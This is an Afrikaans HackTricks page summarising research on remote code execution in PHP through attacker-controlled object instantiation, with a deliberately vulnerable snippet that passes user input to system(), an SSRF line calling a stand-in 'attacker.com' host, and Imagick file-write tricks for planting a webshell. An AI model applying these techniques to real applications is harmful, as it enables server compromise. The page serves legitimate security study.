PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Leer AWS hack vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Hierdie is basies 'n opsomming van https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Inleiding

Die skepping van nuwe willekeurige objekte, soos new $_GET["a"]($_GET["a"]), kan lei tot Remote Code Execution (RCE), soos in 'n writeup beskryf. Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik.

RCE via Aangepaste Klasse of Autoloading

Die sintaksis new $a($b) word gebruik om 'n objek te instansieer waar $a die klasnaam verteenwoordig en $b die eerste argument is wat aan die konstrukteur oorgedra word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle strings of rye kan wees, of van JSON, waar hulle as ander tipes kan voorkom.

Beskou die onderstaande kodefragment:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

In hierdie geval, as $a ingestel word op App of App2 en $b op 'n stelselopdrag (bv. uname -a), sal dit lei tot die uitvoering van daardie opdrag.

Autoloading funksies kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse van lêers wanneer dit nodig is en word gedefinieer met behulp van spl_autoload_register of __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Die gedrag van outoloading verskil met PHP-weergawes en bied verskillende RCE-moontlikhede.

RCE via Ingeboude Klasse

As daar nie aangepaste klasse of outoloaders is nie, kan ingeboude PHP-klasse voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP-weergawe en uitbreidings. Hulle kan gelys word deur gebruik te maak van get_declared_classes().

Konstruksies van belang kan geïdentifiseer word deur die refleksie API, soos getoon in die volgende voorbeeld en die skakel https://3v4l.org/2JEGF.

RCE via spesifieke metodes sluit in:

SSRF + Phar Deserialisering

Die SplFileObject-klas maak SSRF moontlik deur middel van sy konstrukteur, wat verbinding met enige URL toelaat:

new SplFileObject('http://attacker.com/');

SSRF kan lei tot deserialisasie-aanvalle in weergawes van PHP voor 8.0 deur die gebruik van die Phar-protokol.

Uitbuiting van PDO's

Die konstrukteur van die PDO-klas maak dit moontlik om verbinding met databasisse te maak deur middel van DSN-reekse, wat potensieel die skep van lêers of ander interaksies moontlik maak:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle deur die SoapClient en SimpleXMLElement konstruksies, afhangende van die weergawe van libxml2.

RCE via Imagick-uitbreiding

In die analise van 'n projek se afhanklikhede is ontdek dat Imagick gebruik kan word vir beveluitvoering deur nuwe objekte te instansieer. Dit bied 'n geleentheid vir die uitbuiting van kwesbaarhede.

VID-parser

Die VID-parser-vermoë om inhoud na enige gespesifiseerde pad in die lêersisteem te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-skulp in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik.

VID-parser + Lêeroplaai

Dit moet opgemerk word dat PHP opgelaaide lêers tydelik in /tmp/phpXXXXXX stoor. Die VID-parser in Imagick, wat die msl-protokol gebruik, kan wildcards in lêer-paaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose plek fasiliteer. Hierdie metode bied 'n addisionele benadering om arbitrêre lêerskryf binne die lêersisteem te bereik.

PHP Crash + Brute Force

'n Metode wat in die oorspronklike skryfstuk beskryf word, behels die oplaai van lêers wat 'n bedienercrash veroorsaak voordat dit uitgewis word. Deur die naam van die tydelike lêer met brute force te raai, word dit moontlik vir Imagick om arbitrêre PHP-kode uit te voer. Hierdie tegniek was egter slegs effektief in 'n verouderde weergawe van ImageMagick.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated